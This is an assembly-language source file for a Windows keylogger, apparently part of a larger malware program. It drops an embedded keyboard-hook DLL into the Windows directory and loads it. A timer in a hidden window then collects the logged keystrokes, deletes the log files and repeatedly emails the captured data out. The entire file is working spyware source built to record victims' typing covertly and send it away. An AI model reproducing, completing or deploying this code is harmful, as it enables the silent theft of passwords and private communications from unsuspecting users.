; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

        include KeyLog.dll.asm

.data
        hook_dll        db      "isfpr.dll",0
        func_a          db      "a",0
        func_b          db      "b",0
        szKLEdit        db      "EDIT",0

.code

; Return size of all files in \windir\plog folder
; ##############################################################################

CheckLogs proc uses ebx esi edi
        LOCAL   FindFileData: WIN32_FIND_DATA
        LOCAL   hFind, hFile, bRead: DWORD

        mov     edi, GlobalBuffer
        xor     ebx, ebx

        szText  szHookFmt2, "%s\plog\*.*"
        invoke  GetWindowsDirectory, offset lpBuf4, MAX_PATH+1
        invoke  wsprintf, offset lpBuf2, offset szHookFmt2, offset lpBuf4

        invoke  FindFirstFile, offset lpBuf2, addr FindFileData
        mov     hFind, eax
        inc     eax
        jz      @ret

@find_loop:
        szText  szHookFmt4, "%s\plog\%s"
        invoke  wsprintf, offset lpBuf2, offset szHookFmt4, offset lpBuf4, addr FindFileData.cFileName

        invoke  CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @read_end

@read_file:
        invoke  ReadFile, hFile, offset lpBuf2, 8192, addr bRead, NULL
        cmp     bRead, 0
        je      @read_close

        mov     ecx, bRead
        add     ebx, ecx
        lea     esi, lpBuf2

@write_loop:
        lodsb
        stosb
        dec     ecx
        jnz     @write_loop

        jmp     @read_file

        mov     ax, 0d0ah
        stosw
        stosw
        
@read_close:
        invoke  CloseHandle, hFile

@read_end:
        invoke  FindNextFile, hFind, addr FindFileData
        test    eax, eax
        jnz     @find_loop

        invoke  FindClose, hFind

@ret:
        xor     eax, eax
        stosb
        mov     eax, ebx

        ret
CheckLogs endp

; Delete all files in \windir\plog folder
; ##############################################################################

ClearLogs proc
        LOCAL   FindFileData: WIN32_FIND_DATA
        LOCAL   hFind: DWORD

        invoke  wsprintf, offset lpBuf2, offset szHookFmt2, offset lpBuf4
        invoke  FindFirstFile, offset lpBuf2, addr FindFileData
        mov     hFind, eax
        inc     eax
        jz      @ret

@find_loop:
        invoke  wsprintf, offset lpBuf2, offset szHookFmt4, offset lpBuf4, addr FindFileData.cFileName
        invoke  DeleteFile, offset lpBuf2

        invoke  FindNextFile, hFind, addr FindFileData
        test    eax, eax
        jnz     @find_loop

        invoke  FindClose, hFind

@ret:        
        ret
ClearLogs endp

; Yep, handle hooked data every minute
; ##############################################################################

KeyWndProc proc hwnd, wmsg, wParam, lParam: DWORD
        .IF     wmsg == WM_TIMER
                call    CheckLogs
                .IF     eax > 7000
                        invoke  ClearLogs
@send_loop:
                        invoke  SendEmail, GlobalBuffer
                        test    eax, eax
                        jz      @send_loop
                .ENDIF
                
        .ENDIF

        xor     eax, eax
        ret
KeyWndProc endp

; Create hook dll file on disk and run "a" function from dll to install kbd hook
; ##############################################################################

RunKeyLog proc
        LOCAL   hFile: DWORD
        LOCAL   bWritten: DWORD
        LOCAL   hLib: DWORD
        LOCAL   Msg: MSG

        invoke  GetWindowsDirectory, offset lpBuf1, MAX_PATH+1
        szText  szHookFmt, "%s\%s"
        invoke  wsprintf, offset lpBuf1, offset szHookFmt, offset lpBuf1, offset hook_dll

        ; Create dll file
        invoke  CreateFile, offset lpBuf1, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @wend
        invoke  WriteFile, hFile, offset file1, fsize1, addr bWritten, NULL
        invoke  CloseHandle, hFile
@wend:
        
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 0A0000h
        mov     [GlobalBuffer], eax

        invoke  LoadLibrary, offset lpBuf1
        mov     hLib, eax
        test    eax, eax
        jz      @no_hook ; Skip hooking

        invoke  GetProcAddress, eax, offset func_a
        call    eax

        invoke  GetModuleHandle, 0
        mov     edx, eax
        invoke  CreateWindowEx, 0, offset szKLEdit, offset szKLEdit, 0, 0, 0, 0, 0, 0, 0, edx, NULL
        mov     bWritten, eax
        invoke  SetWindowLong, eax, GWL_WNDPROC, offset KeyWndProc
        invoke  SetTimer, bWritten, 1, 60000, NULL

        ; Don't know why but I couldn't get working the hook library w/o msg hook

@mloop:
        invoke  GetMessage, addr Msg, 0, TRUE, 0
        .IF     eax == TRUE
                invoke  TranslateMessage, addr Msg
                invoke  DispatchMessage, addr Msg
        .ENDIF
        jmp     @mloop

@no_hook:
        invoke  LocalFree, GlobalBuffer
        
        .IF     hLib != 0
                invoke  GetProcAddress, hLib, offset func_b
                call    eax
                invoke  FreeLibrary, hLib
        .ENDIF

        ret
RunKeyLog endp

; #########################################################################
